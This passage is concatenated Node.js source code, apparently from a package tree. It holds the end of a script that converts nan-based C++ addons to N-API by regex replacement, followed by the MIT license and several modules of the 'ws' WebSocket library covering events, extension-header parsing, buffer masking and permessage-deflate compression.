[/\.Has\([\s|\\]*Nan::New<(v8::)*String>\(([^)]+)\)\)/gm, '.Has($1)'], [/\.Has\([\s|\\]*Nan::New\(([^)]+)\)\)/gm, '.Has($1)'], [/Nan::Get\(([^,]+),\s*/gm, '($1).Get('], [/\.Get\([\s|\\]*Nan::New<(v8::)*String>\(([^)]+)\)\)/gm, '.Get($1)'], [/\.Get\([\s|\\]*Nan::New\(([^)]+)\)\)/gm, '.Get($1)'], [/Nan::Set\(([^,]+),\s*/gm, '($1).Set('], [/\.Set\([\s|\\]*Nan::New<(v8::)*String>\(([^)]+)\)\s*,/gm, '.Set($1,'], [/\.Set\([\s|\\]*Nan::New\(([^)]+)\)\s*,/gm, '.Set($1,'], // ex. node::Buffer::HasInstance(info[0]) to info[0].IsBuffer() [/node::Buffer::HasInstance\((.+?)\)/g, '$1.IsBuffer()'], // ex. node::Buffer::Length(info[0]) to info[0].Length() [/node::Buffer::Length\((.+?)\)/g, '$1.As>().Length()'], // ex. node::Buffer::Data(info[0]) to info[0].Data() [/node::Buffer::Data\((.+?)\)/g, '$1.As>().Data()'], [/Nan::CopyBuffer\(/g, 'Napi::Buffer::Copy(env, '], // Nan::AsyncQueueWorker(worker) [/Nan::AsyncQueueWorker\((.+)\);/g, '$1.Queue();'], [/Nan::(Undefined|Null|True|False)\(\)/g, 'env.$1()'], // Nan::ThrowError(error) to Napi::Error::New(env, error).ThrowAsJavaScriptException() [/([ ]*)return Nan::Throw(\w*?)Error\((.+?)\);/g, '$1Napi::$2Error::New(env, $3).ThrowAsJavaScriptException();\n$1return env.Null();'], [/Nan::Throw(\w*?)Error\((.+?)\);\n(\s*)return;/g, 'Napi::$1Error::New(env, $2).ThrowAsJavaScriptException();\n$3return env.Null();'], [/Nan::Throw(\w*?)Error\((.+?)\);/g, 'Napi::$1Error::New(env, $2).ThrowAsJavaScriptException();\n'], // Nan::RangeError(error) to Napi::RangeError::New(env, error) [/Nan::(\w*?)Error\((.+)\)/g, 'Napi::$1Error::New(env, $2)'], [/Nan::Set\((.+?),\n* *(.+?),\n* *(.+?),\n* *(.+?)\)/g, '$1.Set($2, $3, $4)'], [/Nan::(Escapable)?HandleScope\s+(\w+)\s*;/g, 'Napi::$1HandleScope $2(env);'], [/Nan::(Escapable)?HandleScope/g, 'Napi::$1HandleScope'], [/Nan::ForceSet\(([^,]+), ?/g, '$1->DefineProperty('], [/\.ForceSet\(Napi::String::New\(env, "(\w+)"\),\s*?/g, '.DefineProperty("$1", '], // [ /Nan::GetPropertyNames\(([^,]+)\)/, '$1->GetPropertyNames()' ], [/Nan::Equals\(([^,]+),/g, '$1.StrictEquals('], [/(.+)->Set\(/g, '$1.Set('], [/Nan::Callback/g, 'Napi::FunctionReference'], [/Nan::Persistent/g, 'Napi::ObjectReference'], [/Nan::ADDON_REGISTER_FUNCTION_ARGS_TYPE target/g, 'Napi::Env& env, Napi::Object& target'], [/(\w+)\*\s+(\w+)\s*=\s*Nan::ObjectWrap::Unwrap<\w+>\(info\.This\(\)\);/g, '$1* $2 = this;'], [/Nan::ObjectWrap::Unwrap<(\w+)>\((.*)\);/g, '$2.Unwrap<$1>();'], [/Nan::NAN_METHOD_RETURN_TYPE/g, 'void'], [/NAN_INLINE/g, 'inline'], [/Nan::NAN_METHOD_ARGS_TYPE/g, 'const Napi::CallbackInfo&'], [/NAN_METHOD\(([\w\d:]+?)\)/g, 'Napi::Value $1(const Napi::CallbackInfo& info)'], [/static\s*NAN_GETTER\(([\w\d:]+?)\)/g, 'Napi::Value $1(const Napi::CallbackInfo& info)'], [/NAN_GETTER\(([\w\d:]+?)\)/g, 'Napi::Value $1(const Napi::CallbackInfo& info)'], [/static\s*NAN_SETTER\(([\w\d:]+?)\)/g, 'void $1(const Napi::CallbackInfo& info, const Napi::Value& value)'], [/NAN_SETTER\(([\w\d:]+?)\)/g, 'void $1(const Napi::CallbackInfo& info, const Napi::Value& value)'], [/void Init\((v8::)*Local<(v8::)*Object> exports\)/g, 'Napi::Object Init(Napi::Env env, Napi::Object exports)'], [/NAN_MODULE_INIT\(([\w\d:]+?)\);/g, 'Napi::Object $1(Napi::Env env, Napi::Object exports);'], [/NAN_MODULE_INIT\(([\w\d:]+?)\)/g, 'Napi::Object $1(Napi::Env env, Napi::Object exports)'], [/::(Init(?:ialize)?)\(target\)/g, '::$1(env, target, module)'], [/constructor_template/g, 'constructor'], [/Nan::FunctionCallbackInfo<(v8::)?Value>[ ]*& [ ]*info\)[ ]*{\n*([ ]*)/gm, 'Napi::CallbackInfo& info) {\n$2Napi::Env env = info.Env();\n$2'], [/Nan::FunctionCallbackInfo<(v8::)*Value>\s*&\s*info\);/g, 'Napi::CallbackInfo& info);'], [/Nan::FunctionCallbackInfo<(v8::)*Value>\s*&/g, 'Napi::CallbackInfo&'], [/Buffer::HasInstance\(([^)]+)\)/g, '$1.IsBuffer()'], [/info\[(\d+)\]->/g, 'info[$1].'], [/info\[([\w\d]+)\]->/g, 'info[$1].'], [/info\.This\(\)->/g, 'info.This().'], [/->Is(Object|String|Int32|Number)\(\)/g, '.Is$1()'], [/info.GetReturnValue\(\).SetUndefined\(\)/g, 'return env.Undefined()'], [/info\.GetReturnValue\(\)\.Set\(((\n|.)+?)\);/g, 'return $1;'], // ex. Local to Napi::Value [/v8::Local/g, 'Napi::$1'], [/Local<(Value|Boolean|String|Number|Object|Array|Symbol|External|Function)>/g, 'Napi::$1'], // Declare an env in helper functions that take a Napi::Value [/(\w+)\(Napi::Value (\w+)(,\s*[^()]+)?\)\s*{\n*([ ]*)/gm, '$1(Napi::Value $2$3) {\n$4Napi::Env env = $2.Env();\n$4'], // delete #include and/or [/#include +(<|")(?:node|nan).h("|>)/g, '#include $1napi.h$2\n#include $1uv.h$2'], // NODE_MODULE to NODE_API_MODULE [/NODE_MODULE/g, 'NODE_API_MODULE'], [/Nan::/g, 'Napi::'], [/nan.h/g, 'napi.h'], // delete .FromJust() [/\.FromJust\(\)/g, ''], // delete .ToLocalCheck() [/\.ToLocalChecked\(\)/g, ''], [/^.*->SetInternalFieldCount\(.*$/gm, ''], // replace using node; and/or using v8; to using Napi; [/using (node|v8);/g, 'using Napi;'], [/using namespace (node|Nan|v8);/g, 'using namespace Napi;'], // delete using v8::Local; [/using v8::Local;\n/g, ''], // replace using v8::XXX; with using Napi::XXX [/using v8::([A-Za-z]+);/g, 'using Napi::$1;'] ]; const paths = listFiles(dir); paths.forEach(function (dirEntry) { const filename = dirEntry.split('\\').pop().split('/').pop(); // Check whether the file is a source file or a config file // then execute function accordingly const sourcePattern = /.+\.h|.+\.cc|.+\.cpp/; if (sourcePattern.test(filename)) { convertFile(dirEntry, SourceFileOperations); } else if (ConfigFileOperations[filename] != null) { convertFile(dirEntry, ConfigFileOperations[filename]); } }); function listFiles (dir, filelist) { const files = fs.readdirSync(dir); filelist = filelist || []; files.forEach(function (file) { if (file === 'node_modules') { return; } if (fs.statSync(path.join(dir, file)).isDirectory()) { filelist = listFiles(path.join(dir, file), filelist); } else { filelist.push(path.join(dir, file)); } }); return filelist; } function convert (content, operations) { for (let i = 0; i < operations.length; i++) { const operation = operations[i]; content = content.replace(operation[0], operation[1]); } return content; } function convertFile (fileName, operations) { fs.readFile(fileName, 'utf-8', function (err, file) { if (err) throw err; file = convert(file, operations); fs.writeFile(fileName, file, function (err) { if (err) throw err; }); }); } Copyright (c) 2011 Einar Otto Stangvik Copyright (c) 2013 Arnout Kazemier and contributors Copyright (c) 2016 Luigi Pinca and contributors Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 'use strict'; module.exports = function () { throw new Error( 'ws does not work in the browser. Browser clients must use the native ' + 'WebSocket object' ); }; 'use strict'; const createWebSocketStream = require('./lib/stream'); const extension = require('./lib/extension'); const PerMessageDeflate = require('./lib/permessage-deflate'); const Receiver = require('./lib/receiver'); const Sender = require('./lib/sender'); const subprotocol = require('./lib/subprotocol'); const WebSocket = require('./lib/websocket'); const WebSocketServer = require('./lib/websocket-server'); WebSocket.createWebSocketStream = createWebSocketStream; WebSocket.extension = extension; WebSocket.PerMessageDeflate = PerMessageDeflate; WebSocket.Receiver = Receiver; WebSocket.Sender = Sender; WebSocket.Server = WebSocketServer; WebSocket.subprotocol = subprotocol; WebSocket.WebSocket = WebSocket; WebSocket.WebSocketServer = WebSocketServer; module.exports = WebSocket; 'use strict'; const { websocketMask, websocketUnmask } = require('http'); const { EMPTY_BUFFER } = require('./constants'); const FastBuffer = Buffer[Symbol.species]; /** * Merges an array of buffers into a new buffer. * * @param {Buffer[]} list The array of buffers to concat * @param {Number} totalLength The total length of buffers in the list * @return {Buffer} The resulting buffer * @public */ function concat(list, totalLength) { if (list.length === 0) return EMPTY_BUFFER; if (list.length === 1) return list[0]; const target = Buffer.allocUnsafe(totalLength); let offset = 0; for (let i = 0; i < list.length; i++) { const buf = list[i]; target.set(buf, offset); offset += buf.length; } if (offset < totalLength) { return new FastBuffer(target.buffer, target.byteOffset, offset); } return target; } /** * Masks a buffer using the given mask. * * @param {Buffer} source The buffer to mask * @param {Buffer} mask The mask to use * @param {Buffer} output The buffer where to store the result * @param {Number} offset The offset at which to start writing * @param {Number} length The number of bytes to mask. * @public */ function _mask(source, mask, output, offset, length) { for (let i = 0; i < length; i++) { output[offset + i] = source[i] ^ mask[i & 3]; } } /** * Unmasks a buffer using the given mask. * * @param {Buffer} buffer The buffer to unmask * @param {Buffer} mask The mask to use * @public */ function _unmask(buffer, mask) { for (let i = 0; i < buffer.length; i++) { buffer[i] ^= mask[i & 3]; } } /** * Converts a buffer to an `ArrayBuffer`. * * @param {Buffer} buf The buffer to convert * @return {ArrayBuffer} Converted buffer * @public */ function toArrayBuffer(buf) { if (buf.length === buf.buffer.byteLength) { return buf.buffer; } return buf.buffer.slice(buf.byteOffset, buf.byteOffset + buf.length); } /** * Converts `data` to a `Buffer`. * * @param {*} data The data to convert * @return {Buffer} The buffer * @throws {TypeError} * @public */ function toBuffer(data) { toBuffer.readOnly = true; if (Buffer.isBuffer(data)) return data; let buf; if (data instanceof ArrayBuffer) { buf = new FastBuffer(data); } else if (ArrayBuffer.isView(data)) { buf = new FastBuffer(data.buffer, data.byteOffset, data.byteLength); } else { buf = Buffer.from(data); toBuffer.readOnly = false; } return buf; } module.exports = { concat, mask: _mask, toArrayBuffer, toBuffer, unmask: _unmask }; if (websocketMask) { module.exports.mask = function (source, mask, output, offset, length) { if (length < 24) _mask(source, mask, output, offset, length); else websocketMask(source, mask, output, offset, length); }; module.exports.unmask = function (buffer, mask) { if (buffer.length < 24) _unmask(buffer, mask); else websocketUnmask(buffer, mask); }; } /* istanbul ignore else */ else if (!process.env.WS_NO_BUFFER_UTIL) { try { const bufferUtil = require('bufferutil'); module.exports.mask = function (source, mask, output, offset, length) { if (length < 48) _mask(source, mask, output, offset, length); else bufferUtil.mask(source, mask, output, offset, length); }; module.exports.unmask = function (buffer, mask) { if (buffer.length < 32) _unmask(buffer, mask); else bufferUtil.unmask(buffer, mask); }; } catch (e) { // Continue regardless of the error. } } 'use strict'; const BINARY_TYPES = ['nodebuffer', 'arraybuffer', 'fragments']; const hasBlob = typeof Blob !== 'undefined'; if (hasBlob) BINARY_TYPES.push('blob'); module.exports = { BINARY_TYPES, CLOSE_TIMEOUT: 30000, EMPTY_BUFFER: Buffer.alloc(0), GUID: '258EAFA5-E914-47DA-95CA-C5AB0DC85B11', hasBlob, kForOnEventAttribute: Symbol('kIsForOnEventAttribute'), kListener: Symbol('kListener'), kStatusCode: Symbol('status-code'), kWebSocket: Symbol('websocket'), NOOP: () => {} }; 'use strict'; const { kForOnEventAttribute, kListener } = require('./constants'); const kCode = Symbol('kCode'); const kData = Symbol('kData'); const kError = Symbol('kError'); const kMessage = Symbol('kMessage'); const kReason = Symbol('kReason'); const kTarget = Symbol('kTarget'); const kType = Symbol('kType'); const kWasClean = Symbol('kWasClean'); /** * Class representing an event. */ class Event { /** * Create a new `Event`. * * @param {String} type The name of the event * @throws {TypeError} If the `type` argument is not specified */ constructor(type) { this[kTarget] = null; this[kType] = type; } /** * @type {*} */ get target() { return this[kTarget]; } /** * @type {String} */ get type() { return this[kType]; } } Object.defineProperty(Event.prototype, 'target', { enumerable: true }); Object.defineProperty(Event.prototype, 'type', { enumerable: true }); /** * Class representing a close event. * * @extends Event */ class CloseEvent extends Event { /** * Create a new `CloseEvent`. * * @param {String} type The name of the event * @param {Object} [options] A dictionary object that allows for setting * attributes via object members of the same name * @param {Number} [options.code=0] The status code explaining why the * connection was closed * @param {String} [options.reason=''] A human-readable string explaining why * the connection was closed * @param {Boolean} [options.wasClean=false] Indicates whether or not the * connection was cleanly closed */ constructor(type, options = {}) { super(type); this[kCode] = options.code === undefined ? 0 : options.code; this[kReason] = options.reason === undefined ? '' : options.reason; this[kWasClean] = options.wasClean === undefined ? false : options.wasClean; } /** * @type {Number} */ get code() { return this[kCode]; } /** * @type {String} */ get reason() { return this[kReason]; } /** * @type {Boolean} */ get wasClean() { return this[kWasClean]; } } Object.defineProperty(CloseEvent.prototype, 'code', { enumerable: true }); Object.defineProperty(CloseEvent.prototype, 'reason', { enumerable: true }); Object.defineProperty(CloseEvent.prototype, 'wasClean', { enumerable: true }); /** * Class representing an error event. * * @extends Event */ class ErrorEvent extends Event { /** * Create a new `ErrorEvent`. * * @param {String} type The name of the event * @param {Object} [options] A dictionary object that allows for setting * attributes via object members of the same name * @param {*} [options.error=null] The error that generated this event * @param {String} [options.message=''] The error message */ constructor(type, options = {}) { super(type); this[kError] = options.error === undefined ? null : options.error; this[kMessage] = options.message === undefined ? '' : options.message; } /** * @type {*} */ get error() { return this[kError]; } /** * @type {String} */ get message() { return this[kMessage]; } } Object.defineProperty(ErrorEvent.prototype, 'error', { enumerable: true }); Object.defineProperty(ErrorEvent.prototype, 'message', { enumerable: true }); /** * Class representing a message event. * * @extends Event */ class MessageEvent extends Event { /** * Create a new `MessageEvent`. * * @param {String} type The name of the event * @param {Object} [options] A dictionary object that allows for setting * attributes via object members of the same name * @param {*} [options.data=null] The message content */ constructor(type, options = {}) { super(type); this[kData] = options.data === undefined ? null : options.data; } /** * @type {*} */ get data() { return this[kData]; } } Object.defineProperty(MessageEvent.prototype, 'data', { enumerable: true }); /** * This provides methods for emulating the `EventTarget` interface. It's not * meant to be used directly. * * @mixin */ const EventTarget = { /** * Register an event listener. * * @param {String} type A string representing the event type to listen for * @param {(Function|Object)} handler The listener to add * @param {Object} [options] An options object specifies characteristics about * the event listener * @param {Boolean} [options.once=false] A `Boolean` indicating that the * listener should be invoked at most once after being added. If `true`, * the listener would be automatically removed when invoked. * @public */ addEventListener(type, handler, options = {}) { for (const listener of this.listeners(type)) { if ( !options[kForOnEventAttribute] && listener[kListener] === handler && !listener[kForOnEventAttribute] ) { return; } } let wrapper; if (type === 'message') { wrapper = function onMessage(data, isBinary) { const event = new MessageEvent('message', { data: isBinary ? data : data.toString() }); event[kTarget] = this; callListener(handler, this, event); }; } else if (type === 'close') { wrapper = function onClose(code, message) { const event = new CloseEvent('close', { code, reason: message.toString(), wasClean: this._closeFrameReceived && this._closeFrameSent }); event[kTarget] = this; callListener(handler, this, event); }; } else if (type === 'error') { wrapper = function onError(error) { const event = new ErrorEvent('error', { error, message: error.message }); event[kTarget] = this; callListener(handler, this, event); }; } else if (type === 'open') { wrapper = function onOpen() { const event = new Event('open'); event[kTarget] = this; callListener(handler, this, event); }; } else { return; } wrapper[kForOnEventAttribute] = !!options[kForOnEventAttribute]; wrapper[kListener] = handler; if (options.once) { this.once(type, wrapper); } else { this.on(type, wrapper); } }, /** * Remove an event listener. * * @param {String} type A string representing the event type to remove * @param {(Function|Object)} handler The listener to remove * @public */ removeEventListener(type, handler) { for (const listener of this.listeners(type)) { if (listener[kListener] === handler && !listener[kForOnEventAttribute]) { this.removeListener(type, listener); break; } } } }; module.exports = { CloseEvent, ErrorEvent, Event, EventTarget, MessageEvent }; /** * Call an event listener * * @param {(Function|Object)} listener The listener to call * @param {*} thisArg The value to use as `this`` when calling the listener * @param {Event} event The event to pass to the listener * @private */ function callListener(listener, thisArg, event) { if (typeof listener === 'object' && listener.handleEvent) { listener.handleEvent.call(listener, event); } else { listener.call(thisArg, event); } } 'use strict'; const { tokenChars } = require('./validation'); /** * Adds an offer to the map of extension offers or a parameter to the map of * parameters. * * @param {Object} dest The map of extension offers or parameters * @param {String} name The extension or parameter name * @param {(Object|Boolean|String)} elem The extension parameters or the * parameter value * @private */ function push(dest, name, elem) { if (dest[name] === undefined) dest[name] = [elem]; else dest[name].push(elem); } /** * Parses the `Sec-WebSocket-Extensions` header into an object. * * @param {String} header The field value of the header * @return {Object} The parsed object * @public */ function parse(header) { const offers = Object.create(null); let params = Object.create(null); let mustUnescape = false; let isEscaping = false; let inQuotes = false; let extensionName; let paramName; let start = -1; let code = -1; let end = -1; let i = 0; for (; i < header.length; i++) { code = header.charCodeAt(i); if (extensionName === undefined) { if (end === -1 && tokenChars[code] === 1) { if (start === -1) start = i; } else if ( i !== 0 && (code === 0x20 /* ' ' */ || code === 0x09) /* '\t' */ ) { if (end === -1 && start !== -1) end = i; } else if (code === 0x3b /* ';' */ || code === 0x2c /* ',' */) { if (start === -1) { throw new SyntaxError(`Unexpected character at index ${i}`); } if (end === -1) end = i; const name = header.slice(start, end); if (code === 0x2c) { push(offers, name, params); params = Object.create(null); } else { extensionName = name; } start = end = -1; } else { throw new SyntaxError(`Unexpected character at index ${i}`); } } else if (paramName === undefined) { if (end === -1 && tokenChars[code] === 1) { if (start === -1) start = i; } else if (code === 0x20 || code === 0x09) { if (end === -1 && start !== -1) end = i; } else if (code === 0x3b || code === 0x2c) { if (start === -1) { throw new SyntaxError(`Unexpected character at index ${i}`); } if (end === -1) end = i; push(params, header.slice(start, end), true); if (code === 0x2c) { push(offers, extensionName, params); params = Object.create(null); extensionName = undefined; } start = end = -1; } else if (code === 0x3d /* '=' */ && start !== -1 && end === -1) { paramName = header.slice(start, i); start = end = -1; } else { throw new SyntaxError(`Unexpected character at index ${i}`); } } else { // // The value of a quoted-string after unescaping must conform to the // token ABNF, so only token characters are valid. // Ref: https://tools.ietf.org/html/rfc6455#section-9.1 // if (isEscaping) { if (tokenChars[code] !== 1) { throw new SyntaxError(`Unexpected character at index ${i}`); } if (start === -1) start = i; else if (!mustUnescape) mustUnescape = true; isEscaping = false; } else if (inQuotes) { if (tokenChars[code] === 1) { if (start === -1) start = i; } else if (code === 0x22 /* '"' */ && start !== -1) { inQuotes = false; end = i; } else if (code === 0x5c /* '\' */) { isEscaping = true; } else { throw new SyntaxError(`Unexpected character at index ${i}`); } } else if (code === 0x22 && header.charCodeAt(i - 1) === 0x3d) { inQuotes = true; } else if (end === -1 && tokenChars[code] === 1) { if (start === -1) start = i; } else if (start !== -1 && (code === 0x20 || code === 0x09)) { if (end === -1) end = i; } else if (code === 0x3b || code === 0x2c) { if (start === -1) { throw new SyntaxError(`Unexpected character at index ${i}`); } if (end === -1) end = i; let value = header.slice(start, end); if (mustUnescape) { value = value.replace(/\\/g, ''); mustUnescape = false; } push(params, paramName, value); if (code === 0x2c) { push(offers, extensionName, params); params = Object.create(null); extensionName = undefined; } paramName = undefined; start = end = -1; } else { throw new SyntaxError(`Unexpected character at index ${i}`); } } } if (start === -1 || inQuotes || code === 0x20 || code === 0x09) { throw new SyntaxError('Unexpected end of input'); } if (end === -1) end = i; const token = header.slice(start, end); if (extensionName === undefined) { push(offers, token, params); } else { if (paramName === undefined) { push(params, token, true); } else if (mustUnescape) { push(params, paramName, token.replace(/\\/g, '')); } else { push(params, paramName, token); } push(offers, extensionName, params); } return offers; } /** * Builds the `Sec-WebSocket-Extensions` header field value. * * @param {Object} extensions The map of extensions and parameters to format * @return {String} A string representing the given object * @public */ function format(extensions) { return Object.keys(extensions) .map((extension) => { let configurations = extensions[extension]; if (!Array.isArray(configurations)) configurations = [configurations]; return configurations .map((params) => { return [extension] .concat( Object.keys(params).map((k) => { let values = params[k]; if (!Array.isArray(values)) values = [values]; return values .map((v) => (v === true ? k : `${k}=${v}`)) .join('; '); }) ) .join('; '); }) .join(', '); }) .join(', '); } module.exports = { format, parse }; 'use strict'; const kDone = Symbol('kDone'); const kRun = Symbol('kRun'); /** * A very simple job queue with adjustable concurrency. Adapted from * https://github.com/STRML/async-limiter */ class Limiter { /** * Creates a new `Limiter`. * * @param {Number} [concurrency=Infinity] The maximum number of jobs allowed * to run concurrently */ constructor(concurrency) { this[kDone] = () => { this.pending--; this[kRun](); }; this.concurrency = concurrency || Infinity; this.jobs = []; this.pending = 0; } /** * Adds a job to the queue. * * @param {Function} job The job to run * @public */ add(job) { this.jobs.push(job); this[kRun](); } /** * Removes a job from the queue and runs it if possible. * * @private */ [kRun]() { if (this.pending === this.concurrency) return; if (this.jobs.length) { const job = this.jobs.shift(); this.pending++; job(this[kDone]); } } } module.exports = Limiter; 'use strict'; const zlib = require('zlib'); const bufferUtil = require('./buffer-util'); const Limiter = require('./limiter'); const { kStatusCode } = require('./constants'); const FastBuffer = Buffer[Symbol.species]; const TRAILER = Buffer.from([0x00, 0x00, 0xff, 0xff]); const kPerMessageDeflate = Symbol('permessage-deflate'); const kTotalLength = Symbol('total-length'); const kCallback = Symbol('callback'); const kBuffers = Symbol('buffers'); const kError = Symbol('error'); // // We limit zlib concurrency, which prevents severe memory fragmentation // as documented in https://github.com/nodejs/node/issues/8871#issuecomment-250915913 // and https://github.com/websockets/ws/issues/1202 // // Intentionally global; it's the global thread pool that's an issue. // let zlibLimiter; /** * permessage-deflate implementation. */ class PerMessageDeflate { /** * Creates a PerMessageDeflate instance. * * @param {Object} [options] Configuration options * @param {(Boolean|Number)} [options.clientMaxWindowBits] Advertise support * for, or request, a custom client window size * @param {Boolean} [options.clientNoContextTakeover=false] Advertise/ * acknowledge disabling of client context takeover * @param {Number} [options.concurrencyLimit=10] The number of concurrent * calls to zlib * @param {Boolean} [options.isServer=false] Create the instance in either * server or client mode * @param {Number} [options.maxPayload=0] The maximum allowed message length * @param {(Boolean|Number)} [options.serverMaxWindowBits] Request/confirm the * use of a custom server window size * @param {Boolean} [options.serverNoContextTakeover=false] Request/accept * disabling of server context takeover * @param {Number} [options.threshold=1024] Size (in bytes) below which * messages should not be compressed if context takeover is disabled * @param {Object} [options.zlibDeflateOptions] Options to pass to zlib on * deflate * @param {Object} [options.zlibInflateOptions] Options to pass to zlib on * inflate */ constructor(options) { this._options = options || {}; this._threshold = this._options.threshold !== undefined ? this._options.threshold : 1024; this._maxPayload = this._options.maxPayload | 0; this._isServer = !!this._options.isServer; this._deflate = null; this._inflate = null; this.params = null; if (!zlibLimiter) { const concurrency = this._options.concurrencyLimit !== undefined ? this._options.concurrencyLimit : 10; zlibLimiter = new Limiter(concurrency); } } /** * @type {String} */ static get extensionName() { return 'permessage-deflate'; } /** * Create an extension negotiation offer. * * @return {Object} Extension parameters * @public */ offer() { const params = {}; if (this._options.serverNoContextTakeover) { params.server_no_context_takeover = true; } if (this._options.clientNoContextTakeover) { params.client_no_context_takeover = true; } if (this._options.serverMaxWindowBits) { params.server_max_window_bits = this._options.serverMaxWindowBits; } if (this._options.clientMaxWindowBits) { params.client_max_window_bits = this._options.clientMaxWindowBits; } else if (this._options.clientMaxWindowBits == null) { params.client_max_window_bits = true; } return params; } /** * Accept an extension negotiation offer/response. * * @param {Array} configurations The extension negotiation offers/reponse * @return {Object} Accepted configuration * @public */ accept(configurations) { configurations = this.normalizeParams(configurations); this.params = this._isServer ? this.acceptAsServer(configurations) : this.acceptAsClient(configurations); return this.params; } /** * Releases all resources used by the extension. * * @public */ cleanup() { if (this._inflate) { this._inflate.close(); this._inflate = null; } if (this._deflate) { const callback = this._deflate[kCallback]; this._deflate.close(); this._deflate = null; if (callback) { callback( new Error( 'The deflate stream was closed while data was being processed' ) ); } } } /** * Accept an extension negotiation offer. * * @param {Array} offers The extension negotiation offers * @return {Object} Accepted configuration * @private */ acceptAsServer(offers) { const opts = this._options; const accepted = offers.find((params) => { if ( (opts.serverNoContextTakeover === false && params.server_no_context_takeover) || (params.server_max_window_bits && (opts.serverMaxWindowBits === false || (typeof opts.serverMaxWindowBits === 'number' && opts.serverMaxWindowBits > params.server_max_window_bits))) || (typeof opts.clientMaxWindowBits === 'number' && (typeof params.client_max_window_bits === 'number' ? opts.clientMaxWindowBits > params.client_max_window_bits : !params.client_max_window_bits)) ) { return false; } return true; }); if (!accepted) { throw new Error('None of the extension offers can be accepted'); } if (opts.serverNoContextTakeover) { accepted.server_no_context_takeover = true; } if (opts.clientNoContextTakeover) { accepted.client_no_context_takeover = true; } if (typeof opts.serverMaxWindowBits === 'number') { accepted.server_max_window_bits = opts.serverMaxWindowBits; } if (typeof opts.clientMaxWindowBits === 'number') { accepted.client_max_window_bits = opts.clientMaxWindowBits; } else if ( accepted.client_max_window_bits === true || opts.clientMaxWindowBits === false ) { delete accepted.client_max_window_bits; } return accepted; } /** * Accept the extension negotiation response. * * @param {Array} response The extension negotiation response * @return {Object} Accepted configuration * @private */ acceptAsClient(response) { const params = response[0]; if ( this._options.clientNoContextTakeover === false && params.client_no_context_takeover ) { throw new Error('Unexpected parameter "client_no_context_takeover"'); } if (!params.client_max_window_bits) { if (typeof this._options.clientMaxWindowBits === 'number') { params.client_max_window_bits = this._options.clientMaxWindowBits; } } else if ( this._options.clientMaxWindowBits === false || (typeof this._options.clientMaxWindowBits === 'number' && params.client_max_window_bits > this._options.clientMaxWindowBits) ) { throw new Error( 'Unexpected or invalid parameter "client_max_window_bits"' ); } return params; } /** * Normalize parameters. * * @param {Array} configurations The extension negotiation offers/reponse * @return {Array} The offers/response with normalized parameters * @private */ normalizeParams(configurations) { configurations.forEach((params) => { Object.keys(params).forEach((key) => { let value = params[key]; if (value.length > 1) { throw new Error(`Parameter "${key}" must have only a single value`); } value = value[0]; if (key === 'client_max_window_bits') { if (value !== true) { const num = +value; if (!Number.isInteger(num) || num < 8 || num > 15) { throw new TypeError( `Invalid value for parameter "${key}": ${value}` ); } value = num; } else if (!this._isServer) { throw new TypeError( `Invalid value for parameter "${key}": ${value}` ); } } else if (key === 'server_max_window_bits') { const num = +value; if (!Number.isInteger(num) || num < 8 || num > 15) { throw new TypeError( `Invalid value for parameter "${key}": ${value}` ); } value = num; } else if ( key === 'client_no_context_takeover' || key === 'server_no_context_takeover' ) { if (value !== true) { throw new TypeError( `Invalid value for parameter "${key}": ${value}` ); } } else { throw new Error(`Unknown parameter "${key}"`); } params[key] = value; }); }); return configurations; } /** * Decompress data. Concurrency limited. * * @param {Buffer} data Compressed data * @param {Boolean} fin Specifies whether or not this is the last fragment * @param {Function} callback Callback * @public */ decompress(data, fin, callback) { zlibLimiter.add((done) => { this._decompress(data, fin, (err, result) => { done(); callback(err, result); }); }); } /** * Compress data. Concurrency limited. * * @param {(Buffer|String)} data Data to compress * @param {Boolean} fin Specifies whether or not this is the last fragment * @param {Function} callback Callback * @public */ compress(data, fin, callback) { zlibLimiter.add((done) => { this._compress(data, fin, (err, result) => { done(); callback(err, result); }); }); } /** * Decompress data. * * @param {Buffer} data Compressed data * @param {Boolean} fin Specifies whether or not this is the last fragment * @param {Function} callback Callback * @private */ _decompress(data, fin, callback) { const endpoint = this._isServer ? 'client' : 'server'; if (!this._inflate) { const key = `${endpoint}_max_window_bits`; const windowBits = typeof this.params[key] !== 'number' ? zlib.Z_DEFAULT_WINDOWBITS : this.params[key]; this._inflate = zlib.createInflateRaw({ ...this._options.zlibInflateOptions, windowBits }); this._inflate[kPerMessageDeflate] = this; this._inflate[kTotalLength] = 0; this._inflate[kBuffers] = []; this._inflate.on('error', inflateOnError); this._inflate.on('data', inflateOnData); } this._inflate[kCallback] = callback; this._inflate.write(data); if (fin) this._inflate.write(TRAILER); this._inflate.flush(() => { const err = this._inflate[kError]; if (err) { this._inflate.close(); this._inflate = null; callback(err); return; } const data = bufferUtil.concat( this._inflate[kBuffers], this._inflate[kTotalLength] ); if (this._inflate._readableState.endEmitted) { this._inflate.close(); this._inflate = null; } else { this._inflate[kTotalLength] = 0; this._inflate[kBuffers] = []; if (fin && this.params[`${endpoint}_no_context_takeover`]) { this._inflate.reset(); } } callback(null, data); }); } /** * Compress data. * * @param {(Buffer|String)} data Data to compress * @param {Boolean} fin Specifies whether or not this is the last fragment * @param {Function} callback Callback * @private */ _compress(data, fin, callback) { const endpoint = this._isServer ? 'server' : 'client'; if (!this._deflate) { const key = `${endpoint}_max_window_bits`; const windowBits = typeof this.params[key] !== 'number' ? zlib.Z_DEFAULT_WINDOWBITS : this.params[key]; this._deflate = zlib.createDeflateRaw({ ...this._options.zlibDeflateOptions, windowBits }); this._deflate[kTotalLength] = 0; this._deflate[kBuffers] = []; this._deflate.on('data', deflateOnData); } this._deflate[kCallback] = callback; this._deflate.write(data); this._deflate.flush(zlib.Z_SYNC_FLUSH, () 